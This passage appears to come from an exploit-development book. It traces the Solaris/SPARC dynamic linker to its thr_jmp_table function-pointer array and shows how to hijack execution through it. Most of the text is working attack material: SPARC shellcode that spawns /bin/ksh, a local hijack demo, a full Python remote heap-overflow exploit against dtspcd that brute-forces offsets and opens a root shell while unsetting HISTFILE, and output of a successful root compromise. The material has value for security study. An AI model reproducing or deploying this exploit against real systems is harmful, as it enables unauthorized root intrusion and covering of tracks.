| ||
Now that we have looked into the necessary background information, you should understand the current limitations regarding exploitation. We will now demonstrate our new method of making heap and format string attacks more reliable and robust. We will single step the dynamic linker while in action, which will show us that there are many dispatchment (jump) tables vital to the linker's functionality. Single stepping is used when precise control over instruction execution is required. As each instruction is executed, control is passed back to the debugger, which disassembles the next instruction to be executed. You must give input at this point before execution will continue. These tables, which contain internal function pointers, remain at the same location in every thread's address space. This is a remote attacker's dreamreliable and resident function pointers.
Let's disassemble and single step the following example to find what could potentially be a new exploitation vector for Solaris/SPARC executables.
<linkme.c> #include <stdio.h> int main(void) { printf("hello world!\n"); printf("uberhax0r rux!\n"); } bash-2.03# gcc -o linkme linkme.c bash-2.03# gdb -q linkme (no debugging symbols found)...(gdb) (gdb) disassemble main Dump of assembler code for function main: 0x10684 <main>: save %sp, -112, %sp 0x10688 <main+4>: sethi %hi(0x10400), %o0 0x1068c <main+8>: or %o0, 0x358, %o0 ! 0x10758 <_lib_version+8> 0x10690 <main+12>: call 0x20818 <printf> 0x10694 <main+16>: nop 0x10698 <main+20>: sethi %hi(0x10400), %o0 0x1069c <main+24>: or %o0, 0x368, %o0 ! 0x10768 <_lib_version+24> 0x106a0 <main+28>: call 0x20818 <printf> 0x106a4 <main+32>: nop 0x106a8 <main+36>: mov %o0, %i0 0x106ac <main+40>: nop 0x106b0 <main+44>: ret 0x106b4 <main+48>: restore 0x106b8 <main+52>: retl 0x106bc <main+56>: add %o7, %l7, %l7 End of assembler dump. (gdb) b *main Breakpoint 1 at 0x10684 (gdb) r Starting program: /BOOK/linkme (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Breakpoint 1, 0x10684 in main () (gdb) x/i *main+12 0x10690 <main+12>: call 0x20818 <printf> (gdb) x/4i 0x20818 0x20818 <printf>: sethi %hi(0x1e000), %g1 0x2081c <printf+4>: b,a 0x207a0 <_PROCEDURE_LINKAGE_TABLE_> 0x20820 <printf+8>: nop 0x20824 <printf+12>: nop
This is the initial entry for the printf() in the PLT where printf is first referenced. The %g1 register will be set with the offset of 0x1e000 and then a jump to the first entry in the PLT. This will set up the outgoing arguments and take us to the dynamic linker's resolve function.
(gdb) b *0x20818 Breakpoint 2 at 0x20818 (gdb) display/i $pc 1: x/i $pc 0x10684 <main>: save %sp, -112, %sp (gdb) c
Continuing, we set a breakpoint for the PLT entry of the printf() function.
Breakpoint 2, 0x20818 in printf () 1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1 (gdb) x/4i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1 0x2081c <printf+4>: b,a 0x207a0 <_PROCEDURE_LINKAGE_TABLE_> 0x20820 <printf+8>: nop 0x20824 <printf+12>: nop (gdb) c Continuing. hello world!
printf was referenced for the first time from the .text segment and entered to PLT, which redirects the execution to the memory-mapped image of the dynamic linker. The dynamic linker resolves the function's ( printf ) location within the mapped objects, in this case libc.so , and directs the execution to this location. The dynamic linker also patches the PLT entry for printf with instructions that will jump to libc's printf entry when there is any further reference to printf . As you can see from the following disassembly, printf's PLT entry was altered by the dynamic linker. Take note of the address, 0xff304418 , which is the location of printf with in libc.so . This is followed by the method to verify that this is really the location of printf within libc.so .
Breakpoint 2, 0x20818 in printf () 1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1 (gdb) x/4i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1 0x2081c <printf+4>: sethi %hi(0xff304400), %g1 0x20820 <printf+8>: jmp %g1 + 0x18 ! 0xff304418 <printf> 0x20824 <printf+12>: nop FF280000 672K read/exec /usr/lib/libc.so.1
Next we see where libc is mapped within our sample hello world example.
bash-2.03# nm -x /usr/lib/libc.so.1 grep printf [3762] 0x000842900x00000188FUNC GLOB 0 9 _fprintf [593] 0x000000000x00000000FILE LOCL 0 ABS _sprintf_sup.c [4756] 0x000842900x00000188FUNC WEAK 0 9 fprintf [2185] 0x000000000x00000000FILE LOCL 0 ABS fprintf.c [4718] 0x00084cbc0x000001c4FUNC GLOB 0 9 fwprintf [3806] 0x000844180x00000194FUNC GLOB 0 9 printf ->> printf() within libc.so
The following calculation will give us the exact location of printf() within our example's address space.
bash-2.03# gdb -q (gdb) printf "0x%.8x\n", 0x00084418 + 0xFF280000 0xff304418
The address 0xff304418 is the exact location of printf() within our sample application. As expected, the dynamic linker updated the PLT's printf entry with the exact location of printf() in the thread's address space.
Let's delve further into the dynamic linking process to learn more about this new technique of exploitation. We will restart the application and breakpoint at the PLT entry of printf() and from there single step into the dynamic linker.
(gdb) b *0x20818 Breakpoint 1 at 0x20818 (gdb) r Starting program: /BOOK/./linkme (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Breakpoint 1, 0x20818 in printf () (gdb) display/i $pc 1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %g1 (gdb) si 0x2081c in printf () 1: x/i $pc 0x2081c <printf+4>: b,a 0x207a0 <_PROCEDURE_LINKAGE_TABLE_> (gdb) 0x207a0 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc 0x207a0 <_PROCEDURE_LINKAGE_TABLE_>: save %sp, -64, %sp (gdb) 0x207a4 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc 0x207a4 <_PROCEDURE_LINKAGE_TABLE_+4>: call 0xffffffffff3b297c
This is the actual call instruction that will take us to the entry function of the dynamic linker.
(gdb) 0x207a8 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc 0x207a8 <_PROCEDURE_LINKAGE_TABLE_+8>: nop
Now, let's look at the call instruction's delay slot.
(gdb) 0xff3b297c in ?? () 1: x/i $pc 0xffffffffff3b297c: mov %i7, %o0
At this stage, we are in the memory-mapped image of the ld.so . For brevity's sake, we will not explain all the instructions until we hit the target section. A brief reverse engineering session will be done for the pure thrill of it.
(gdb) 1: x/i $pc 0xffffffffff3b297c: mov %i7, %o0 1: x/i $pc 0xffffffffff3b2980: save %sp, -96, %sp 1: x/i $pc 0xffffffffff3b2984: mov %i0, %o3
%o3 is the address within .text where printf() is called.
1: x/i $pc 0xffffffffff3b2988: add %i7, -4, %o0
%o0 is the address of PLT.
1: x/i $pc 0xffffffffff3b298c: srl %g1, 0xa, %g1
%g1 is the entry number of printf() within PLT.
1: x/i $pc 0xffffffffff3b2990: add %o0, %g1, %o0
%o0 is the printf() 's address in PLT.
1: x/i $pc 0xffffffffff3b2994: mov %g1, %o1
%o1 is the entry number within PLT.
1: x/i $pc 0xffffffffff3b2998: call 0xffffffffff3c34c8 1: x/i $pc 0xffffffffff3b299c: ld [ %i7 + 8 ], %o2
%o2 contains the fourth integer entry in the PLT, which is a pointer to the most important dynamic linker foundation: A link list of structures referred to as the link map. See /usr/include/sys/link.h for its layout.
Now the function at location 0xff3c34c8 (ignore the high-order bits that seems to be set; 0xffffffffff3c34c8 is actually 0xff3c34c8 ) is called with the following arguments:
func(address_of_PLT, slot_number_in_PLT, address_of_link_map, .text_address); 0xff3c34c8(0x20818, 0x78, 0xff3a0018, 0x10690); 1: x/i $pc 0xffffffffff3c34c8: save %sp, -144, %sp 1: x/i $pc 0xffffffffff3c34cc: call 0xffffffffff3c34d4 1: x/i $pc 0xffffffffff3c34d0: sethi %hi(0x1f000), %o1
Basically, this states: reserve some stack and move incoming arguments into input registers. Now all previous address and offsets that we dealt with are in the %i0 through %i3 registers. Set the %o1 register to 0x1f000 and jump to a leaf function at 0xff3c34d4.
i0 0x20818 address_of_PLT i1 0x78 slot_number_in_PLT i2 0xff3a0018 ddress_of_link_map i3 0x10690 .text_address 1: x/i $pc 0xffffffffff3c34d4: mov %i3, %l2 1: x/i $pc 0xffffffffff3c34d8: add %o1, 0x19c, %o1 1: x/i $pc 0xffffffffff3c34dc: mov %i2, %l1 1: x/i $pc 0xffffffffff3c34e0: add %o1, %o7, %i4 1: x/i $pc 0xffffffffff3c34e4: mov %i0, %l3 1: x/i $pc 0xffffffffff3c34e8: call 0xffffffffff3bda9c 1: x/i $pc 0xffffffffff3c34ec: clr [ %fp + -4 ]
The prior instructions store all the aforementioned input register values into local register, or temporary/scratch registers. Take note that an internal structure's address is stored in the %i4 register. Finally, this block of instructions passes the control to another function at 0xff3bda9c .
1: x/i $pc 0xffffffffff3bda9c: save %sp, -96, %sp 1: x/i $pc 0xffffffffff3bdaa0: call 0xffffffffff3bdaa8 1: x/i $pc 0xffffffffff3bdaa4: sethi %hi(0x24800), %o1
In essence, this code block sets the %o1 registers to 0x24800 and calls the function at address 0xff3bdaa8 .
1: x/i $pc 0xffffffffff3bdaa8: add %o1, 0x3c8, %o1 ! 0x24bc8 1: x/i $pc 0xffffffffff3bdaac: add %o1, %o7, %i0 1: x/i $pc 0xffffffffff3bdab0: call 0xffffffffff3b92ec 1: x/i $pc 0xffffffffff3bdab4: mov 1, %o0
This code blocks adds the prior value of 0x24800 to the callers address (which is the prior call instruction's location: 0xff3bdaa0 ) and moves the sum to the %i0 register. Once again execution flow is directed to another function at 0xff3b92ec .
1: x/i $pc 0xffffffffff3b92ec: mov %o7, %o5 1: x/i $pc 0xffffffffff3b92f0: call 0xffffffffff3b92f8 1: x/i $pc 0xffffffffff3b92f4: sethi %hi(0x29000), %o4
This is the same as the previous block; we immediately pass control to another function with an additional operation. We set the %o4 register with the value of 0x29000 . The caller's location is stored in the %o5 register, and the function at 0xff3b92f8 is entered. Now, onto the Holy Grail that we are all after. If you have found the explanation tedious to this point, you should definitely pay attention now.
1: x/i $pc 0xffffffffff3b92f8: add %o4, 0x378, %o4 ! 0x29378 1: x/i $pc 0xffffffffff3b92fc: add %o4, %o7, %g1
The preceding two instructions translate into %o4 + 0x378 + %o7 , which is 0x29000 + 0x378 + 0xff3b92f0 (the caller's location). Now, the %g1 register contains the address of an internal ld.so structure, which is a great vector for exploitation.
1: x/i $pc 0xffffffffff3b9300: mov %o5, %o7
The previous code fragment will move the caller's caller into our caller's address. This process of moving callers will make the current execution block return to the caller's caller, not to our initial caller.
(gdb) info reg $g1 g1 0xff3e2668 -12704152 1: x/i $pc 0xffffffffff3b9304: ld [ %g1 + 0x30 ], %g1 1: x/i $pc 0xffffffffff3b9308: ld [ %g1 ], %g1 1: x/i $pc 0xffffffffff3b930c: jmp %g1 (gdb) x/x $g1 + 0x30 0xffffffffff3e2698: 0xff3e21b4
The prior instruction can be translated into %g1 containing the address of an internal linker structure. The member of this structure at location 0x30 is a pointer to a table of function pointers. Then the first entry in this table, or array of function pointers, is dispatched by the following jmp instruction:
struct internal_ld_stuff { 0x00:... .... 0x30: unsigned long *ptr; ... };
With the following calculation, we can determine the location of our function pointer table.
(gdb) x/x $g1 + 0x30 0xffffffffff3e2698: 0xff3e21b4
Basically, the address 0xff3e21b4 contains the address of a table whose first entry will be the next function to which the dynamic linker will jump. At this point, we are going to check the layout of the dynamic linker within a process. We will discover that this address has an entry within the dynamic linker's symbol table, which will be very handy in locating it at a later stage.
FF3B0000 136K read/exec /usr/lib/ld.so.1
0xff3b0000 is the address in which the dynamic linker is mapped into every thread's address space in the Solaris 8 operating system. You can verify this with the /usr/bin/pmap application. Armored with that knowledge, you can find out the location of this function pointer array within ld.so .
bash-2.03# gdb -q (gdb) printf "0x%.8x\n", 0xff3e21b4 - 0xff3b0000 0x000321b4
0x000321b4 is the location within ld.so that we are after. The treasure reveals itself with the following command:
bash-2.03# nm -x /usr/lib/ld.so.1 grep 0x000321b4 [433] 0x000321b40x0000001cOBJT LOCL 0 14 thr_jmp_table
thr_jmp_table (thread jump table) turns out to be the array in which internal ld.so function pointers are stored. Now, let's test our theory in action with the following example.
<hiyar.c> #include <stdio.h> /* http://lsd-pl.net */ char shellcode[]= /* 10*4+8 bytes */ "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */ "\x20\xbf\xff\xff" /* bn,a <shellcode> */ "\x7f\xff\xff\xff" /* call <shellcode+4> */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; int main(int argc, char **argv) { long *ptr; long *addr = (long *) shellcode; printf("la la lala laaaaa\n"); //ld.so base + thr_jmp_table //[433] 0x000321b40x0000001cOBJT LOCL 0 14 thr_jmp_table //0xFF3B0000 + 0x000321b4 ptr = (long *) 0xff3e21b4; *ptr++ = (long)((long *) shellcode); strcmp("mocha", "latte"); //this will make us enter the dynamic linker //since there is no prior call to strcmp() } bash-2.03# gcc -o hiyar hiyar.c bash-2.03# ./hiyar la la lala laaaaa #
Execution is hijacked and directed to the shellcode; strcmp() has never been entered. This technique is much more reliable and robust than any previously invented Solaris exploitation techniques (such as exitfns , return address, etc.), so you are advised to use it to take control of execution in all situations. You will need to compile a simple database for the thr_jmp_table offsets due to the introduction of new ld.so.1 binaries with various patch clusters. We have only come across four different offsets. We'll leave to the reader the exercise of discovering, if possible, additional offsets from various patch levels that we might have missed.
1) 5.8 Generic_108528-07 sun4u SPARC SUNW,UltraAX-i2 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10 0x000321b4 thr_jmp_table 2) 5.8 Generic_108528-14 sun4u SPARC SUNW,UltraSPARC-IIi-cEngine 5.8 Generic_108528-15 sun4u SPARC SUNW,Ultra-5_10 0x000361d8 thr_jmp_table 3) 5.8 Generic_108528-17 sun4u SPARC SUNW,Ultra-80 0x000361e0 thr_jmp_table 4) 5.8 Generic_108528-20 sun4u SPARC SUNW,Ultra-5_10 0x000381e8 thr_jmp_table
Next, we will demonstrate how thr_jmp_table can be used in a remote heap overflow exploit for a robust and reliable method of gaining control of execution. We introduced a list of offsets for the aforementioned various thr_jmp_table locations; now, we can brute force our way by incrementing heap addresses. We will also need to change the thr_jmp_table offset with the next entry in the following list.
self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ------------------ dtspcd_exp.py ----------------------------- # noir@olympos.org noir@uberhax0r.net # Sinan Eren (c) 2003 # dtspcd heap overflow # with all new shiny tricks baby ;) import socket import telnetlib import sys import string import struct import time import threading import random PORT = "6112" CHANNEL_ID = 2 SPC_ABORT = 3 SPC_REGISTER = 4 class DTSPCDException(Exception): def __init__(self, args=None): self.args = args def __str__(self): return `self.args` class DTSPCDClient: def __init__(self): self.seq = 1 def spc_register(self, user, buf): return "4 " + "\x00" + user + "\x00\x00" + "10" + "\x00" + buf def spc_write(self, buf, cmd): self.data = "%08x%02x%04x%04x " % (CHANNEL_ID, cmd, len(buf), self.seq) self.seq += 1 self.data += buf if self.sck.send(self.data) < len(self.data): raise DTSPCDException, "network problem, packet not fully send" def spc_read(self): self.recvbuf = self.sck.recv(20) if len(self.recvbuf) < 20: raise DTSPCDException, "network problem, packet not fully received" self.chan = string.atol(self.recvbuf[:8], 16) self.cmd = string.atol(self.recvbuf[8:10], 16) self.mbl = string.atol(self.recvbuf[10:14], 16) self.seqrecv = string.atol(self.recvbuf[14:18], 16) #print "chan, cmd, len, seq: " , self.chan, self.cmd, self.mbl, self.seqrecv self.recvbuf = self.sck.recv(self.mbl) if len(self.recvbuf) < self.mbl: raise DTSPCDException, "network problem, packet not fully recvied" return self.recvbuf class DTSPCDExploit(DTSPCDClient): def __init__(self, target, user="", port=PORT): self.user = user self.set_target(target) self.set_port(port) DTSPCDClient.__init__(self) #shellcode: write(0, "/bin/ksh", 8) + fcntl(0, F_DUP2FD, 0-1-2) + exec("/bin/ksh"...) self.shellcode =\ "\xa4\x1c\x40\x11"+\ "\xa4\x1c\x40\x11"+\ "\xa4\x1c\x40\x11"+\ "\xa4\x1c\x40\x11"+\ "\xa4\x1c\x40\x11"+\ "\xa4\x1c\x40\x11"+\ "\x20\xbf\xff\xff"+\ "\x20\xbf\xff\xff"+\ "\x7f\xff\xff\xff"+\ "\xa2\x1c\x40\x11"+\ "\x90\x24\x40\x11"+\ "\x92\x10\x20\x09"+\ "\x94\x0c\x40\x11"+\ "\x82\x10\x20\x3e"+\ "\x91\xd0\x20\x08"+\ "\xa2\x04\x60\x01"+\ "\x80\xa4\x60\x02"+\ "\x04\xbf\xff\xfa"+\ "\x90\x23\xc0\x0f"+\ "\x92\x03\xe0\x58"+\ "\x94\x10\x20\x08"+\ "\x82\x10\x20\x04"+\ "\x91\xd0\x20\x08"+\ "\x90\x03\xe0\x58"+\ "\x92\x02\x20\x10"+\ "\xc0\x22\x20\x08"+\ "\xd0\x22\x20\x10"+\ "\xc0\x22\x20\x14"+\ "\x82\x10\x20\x0b"+\ "\x91\xd0\x20\x08"+\ "\x2f\x62\x69\x6e"+\ "\x2f\x6b\x73\x68" def set_user(self, user): self.user = user def get_user(self): return self.user def set_target(self, target): try: self.target = socket.gethostbyname(target) except socket.gaierror, err: raise DTSPCDException, "DTSPCDExploit, Host: " + target + " " + err[1] def get_target(self): return self.target def set_port(self, port): self.port = string.atoi(port) def get_port(self): return self.port def get_uname(self): self.setup() self.uname_d = { "hostname": "", "os": "", "version": "", "arch": "" } self.spc_write(self.spc_register("root", "\x00"), SPC_REGISTER) self.resp = self.spc_read() try: self.resp = self.resp[self.resp.index("1000")+5:len(self.resp)-1] except ValueError: raise DTSPCDException, "Non standard response to REGISTER cmd" self.resp = self.resp.split(":") self.uname_d = { "hostname": self.resp[0],\ "os": self.resp[1],\ "version": self.resp[2],\ "arch": self.resp[3] } print self.uname_d self.spc_write("", SPC_ABORT) self.sck.close() def setup(self): try: self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) self.sck.connect((self.target, self.port)) except socket.error, err: raise DTSPCDException, "DTSPCDExploit, Host: " + str(self.target) + ":"\ + str(self.port) + " " + err[1] def exploit(self, retloc, retaddr): self.setup() self.ovf = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - len(self.shellcode)) / 8) self.ovf += self.shellcode + "\x00\x00\x10\x3e" + "\x00\x00\x00\x14" +\ "\x12\x12\x12\x12" + "\xff\xff\xff\xff" + "\x00\x00\x0f\xf4" +\ self.get_chunk(retloc, retaddr) self.ovf += "A" * ((0x103e - 8) - len(self.ovf)) #raw_input("attach") self.spc_write(self.spc_register("", self.ovf), SPC_REGISTER) time.sleep(0.1) self.check_bd() #self.spc_write("", SPC_ABORT) self.sck.close() def get_chunk(self, retloc, retaddr): return "\x12\x12\x12\x12" + struct.pack(">l", retaddr) +\ "\x23\x23\x23\x23" + "\xff\xff\xff\xff" +\ "\x34\x34\x34\x34" + "\x45\x45\x45\x45" +\ "\x56\x56\x56\x56" + struct.pack(">l", (retloc - 8)) def attack(self): print "[*] retrieving remote version [*]" self.get_uname() print "[*] exploiting ... [*]" #do some parsing later ;p self.ldso_base = 0xff3b0000 #solaris 7, 8 also 9 self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] #from various patch clusters self.increment = 0x400 for each in self.thr_jmp_table: self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute start #almost always work! while self.retaddr_base < 0x2f000: #heap brute force end print "trying; retloc: 0x%08x, retaddr: 0x%08x" %\ ((self.ldso_base+each), self.retaddr_base) self.exploit((each+self.ldso_base), self.retaddr_base) self.exploit((each+self.ldso_base), self.retaddr_base+4) self.retaddr_base += self.increment def check_bd(self): try: self.recvbuf = self.sck.recv(100) if self.recvbuf.find("ksh") != -1: print "got shellcode response: ", self.recvbuf self.proxy() except socket.error: pass return -1 def proxy(self): self.t = telnetlib.Telnet() self.t.sock = self.sck self.t.write("unset HISTFILE;uname -a;\n") self.t.interact() sys.exit(1) def run(self): self.attack() return if __name__ == "__main__": if len(sys.argv) < 2: print "usage: dtspcd_exp.py target_ip" sys.exit(0) exp = DTSPCDExploit(sys.argv[1]) #print "user, target, port: ", exp.get_user(), exp.get_target(), exp.get_port() exp.run()
Let's see how this exploit will work.
juneof44:~/exploit_workshop/dtspcd_exp # python dtspcd_exp_book.py 192.168.10.40 [*] retrieving remote version [*] {'arch': 'sun4u', 'hostname': 'slint', 'os': 'SunOS', 'version': '5.8'} [*] exploiting ... [*] trying; retloc: 0xff3e21b4, retaddr: 0x0002c000 trying; retloc: 0xff3e21b4, retaddr: 0x0002c400 trying; retloc: 0xff3e21b4, retaddr: 0x0002c800 got shellcode response: /bin/ksh SunOS slint 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10 id uid=0(root) gid=0(root) .....
Brute force attempts left a core file under the root directory; initial jumps to heap space did not hit the payload ( nop + shellcode). This core file is a good starting point for postmortem analysis on our execution hooking technique. Let's take some time and see what we can find.
bash-2.03# gdb -q /usr/dt/bin/dtspcd /core (no debugging symbols found)...Core was generated by `/usr/dt/bin/dtspcd'. Program terminated with signal 4, Illegal Instruction. Reading symbols from /usr/dt/lib/libDtSvc.so.1... ... Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1 #0 0x2c820 in ?? () (gdb) bt #0 0x2c820 in ?? () #1 0xff3c34f0 in ?? () #2 0xff3b29a0 in ?? () #3 0x246e4 in _PROCEDURE_LINKAGE_TABLE_ () #4 0x12c0c in Client_Register () #5 0x12918 in SPCD_Handle_Client_Data () #6 0x13e34 in SPCD_MainLoopUntil () #7 0x12868 in main () (gdb) x/4i 0x12c0c - 8 0x12c04 <Client_Register+64>: call 0x24744 <Xestrcmp> 0x12c08 <Client_Register+68>: add %g2, 0x108, %o1 0x12c0c <Client_Register+72>: tst %o0 0x12c10 <Client_Register+76>: be 0x13264 <Client_Register+1696> (gdb) x/3i 0x24744 0x24744 <Xestrcmp>: sethi %hi(0x1b000), %g1 0x24748 <Xestrcmp+4>: b,a 0x246d8 <_PROCEDURE_LINKAGE_TABLE_> 0x2474c <Xestrcmp+8>: nop (gdb)
As we can see, the crash took place at address 0x2c820 due to an illegal instruction, likely because we have probably fallen too short to hit the nop s. Following the stack trace shows us that we have jumped to the heap from the dynamic linker, and we find that the address 0xff3c34f0 is mapped where the ld.so.1 .text segment resides within dtspcd 's address space.
Note | You can do a stack trace in gdb with the bt command. |
| ||